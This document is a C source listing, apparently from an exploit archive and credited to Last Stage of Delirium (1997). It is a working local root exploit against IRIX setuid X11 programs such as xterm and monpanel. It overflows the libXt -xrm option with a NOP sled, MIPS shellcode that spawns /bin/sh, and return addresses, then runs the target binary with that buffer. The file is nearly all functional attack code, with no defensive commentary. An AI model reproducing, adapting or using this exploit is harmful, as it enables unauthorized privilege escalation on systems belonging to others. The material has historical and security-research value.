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C/C++ Source or Header  |  2002-10-22  |  2.8 KB  |  81 lines
  1. /*## copyright LAST STAGE OF DELIRIUM jan 1997 poland        *://lsd-pl.net/ #*/
  2. /*## libxt.so -xrm                                                           #*/
  3.  
  4. #define NOPNUM 8000
  5. #define ADRNUM 2000
  6. #define PCHNUM 2000
  7. #define TMPNUM 2000
  8. #define ALLIGN 3
  9.  
  10. char shellcode[]=
  11.     "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
  12.     "\x24\x02\x03\xf3"    /* li      $v0,1011             */
  13.     "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
  14.     "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
  15.     "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
  16.     "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
  17.     "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
  18.     "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
  19.     "\x03\xff\xff\xcc"    /* syscall                      */
  20.     "/bin/sh"
  21. ;
  22.  
  23. char jump[]=
  24.     "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
  25.     "\x03\xe0\x00\x08"    /* jr      $ra                  */
  26. ;
  27.  
  28. char nop[]="\x24\x0f\x12\x34";
  29.  
  30. main(int argc,char **argv){
  31.     char buffer[20000],adr[4],pch[4],tmp[4],*b;
  32.     int i,n=-1;
  33.  
  34.     printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland  //lsd-pl.net/\n");
  35.     printf("libxt.so -xrm for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");
  36.  
  37.     if(argc!=2){
  38.         printf("usage: %s {monpanel|printers|dmplay|datman|xwsh|cdplayer|"
  39.             "xconsole|xterm}\n",argv[0]);
  40.         exit(-1);
  41.     }
  42.     if(!strcmp(argv[1],"monpanel")) n=0;
  43.     if(!strcmp(argv[1],"printers")) n=1;
  44.     if(!strcmp(argv[1],"dmplay")) n=2;
  45.     if(!strcmp(argv[1],"datman")) n=3;
  46.     if(!strcmp(argv[1],"xwsh")) n=4;
  47.     if(!strcmp(argv[1],"cdplayer")) n=5;
  48.     if(!strcmp(argv[1],"xconsole")) n=6;
  49.     if(!strcmp(argv[1],"xterm")) n=7;
  50.     if(n==-1) exit(-1);
  51.  
  52.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+15000+8000;
  53.     *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+15000+15300+1000;
  54.     *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+15000+15300+1000+2000;
  55.  
  56.     b=buffer;
  57.     for(i=0;i<ALLIGN;i++) *b++=0xff;
  58.     for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
  59.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  60.     *b++=0xff;
  61.     *b++=0xff;
  62.     for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
  63.     for(i=0;i<ALLIGN;i++) *b++=0xff;
  64.     for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
  65.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  66.     *b=0;
  67.  
  68.     switch(n){
  69.     case 0: execl("/usr/sbin/monpanel","lsd","-xrm",buffer,0);
  70.     case 1: execl("/usr/sbin/printers","lsd","-xrm",buffer,0);
  71.     case 2: execl("/usr/sbin/dmplay","lsd","-xrm",buffer,0);
  72.     case 3: execl("/usr/sbin/datman","lsd","-xrm",buffer,0);
  73.     case 4: execl("/usr/sbin/xwsh","lsd","-xrm",buffer,0);
  74.     case 5: execl("/usr/bin/X11/cdplayer","lsd","-xrm",buffer,0);
  75.     case 6: execl("/usr/bin/X11/xconsole","lsd","-xrm",buffer,0);
  76.     case 7: execl("/usr/bin/X11/xterm","lsd","-xrm",buffer,0);
  77.     }
  78. }
  79.  
  80.  
  81.